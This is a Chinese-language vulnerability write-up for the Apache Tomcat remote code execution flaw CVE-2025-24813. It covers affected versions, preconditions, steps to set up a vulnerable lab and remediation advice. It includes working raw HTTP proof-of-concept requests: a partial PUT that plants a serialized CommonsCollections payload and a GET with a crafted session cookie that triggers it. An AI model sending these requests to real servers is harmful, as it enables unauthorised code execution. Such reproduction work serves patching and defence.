Apache Tomcat 远程代码执行漏洞(CVE-2025-24813)

影响范围:

11.0.0-M1 <= Apache Tomcat <= 11.0.2

10.1.0-M1 <= Apache Tomcat <= 10.1.34

9.0.0.M1 <= Apache Tomcat <= 9.0.98

漏洞描述:

当应用程序启用DеfаultSеrvlеt写入功能(默认情况下禁用)、使用 Tоmсаt默认会话持久机制和存储位置、依赖库存在反序列化利用链时,未授权攻击者能够执行恶意代码获取服务器权限。

利用条件:

启用DеfаultSеrvlеt写入功能(默认情况下禁用)

服务器启用了partial PUT请求(默认启用)

使用Tomcat默认会话持久机制和存储位置(非默认配置,需手动设置)

依赖库存在反序列化利用链(如Commons-Collections 3.2.1)。

漏洞原理:

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。

该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session

因此整个漏洞的利用过程为:

1、Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT

2、当存在反序列化利用链时,可以上传包含恶意序列化数据的文件

3、通过设置JSESSIONID=.xxxxx来触发漏洞

复现步骤:

环境配置:

Windows漏洞环境下载

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip

其他版本自行选择

https://tomcat.apache.org/

https://archive.apache.org/dist/tomcat/tomcat-9/

在下载解压后的tomcat目录下,找到/conf/context.xml文件进行添加配置,开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">  
    <Store className="org.apache.catalina.session.FileStore"/>  
</Manager> 

在这里插入图片描述

找到/conf/web.xml,将DefaultServlet的readonly配置为false,启用写入功能

<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

在这里插入图片描述

利用需要反序列化链,下载commons-collections-3.2.1,并将commons-collections-3.2.1.jar文件复制到\apache-tomcat-9.0.98\lib目录下

https://archive.apache.org/dist/commons/collections/binaries/

https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.2.1-bin.zip

在这里插入图片描述

Windows启动tomcat

在这里插入图片描述

访问8080端口

在这里插入图片描述

复现:

使用yakit的Yso-Java-Hack快速生成一个恶意的序列化文件

在这里插入图片描述

利用链选择CommonsCollectionsK1/RuntimeExec

在这里插入图片描述

使用POC将生成的base64数据上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。

POC:

PUT /xxxxx/session HTTP/1.1  
Host: 127.0.0.1:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{base64dec(反序列化文件内容)}}

在这里插入图片描述

在\apache-tomcat-9.0.98\work\Catalina\localhost\ROOT目录下可以看到,已经将数据上传成功

在这里插入图片描述

再使用如下POC触发(该session文件是临时文件有时间的,时间到了也会自动触发)

GET / HTTP/1.1  
Host: 127.0.0.1:8080  
Cookie: JSESSIONID=.xxxxx

在这里插入图片描述

修复措施建议:

1、升级版本

升级到 Apache Tomcat 11.0.3 或更高版本

升级到 Apache Tomcat 10.1.35 或更高版本

升级到 Apache Tomcat 9.0.99 或更高版本

2、禁止partial PUT:在conf/web.xml中修改allowPartialPut参数为false,并重启Tomcat以使配置生效

3、严格控制DefaultServlet写入权限:确保readOnly=true,禁用所有未经授权的PUT/DELETE请求,仅允许可信来源访问受限目录

4、检查应用程序依赖库

漏洞公告:

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

参考链接:

https://forum.butian.net/article/674

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值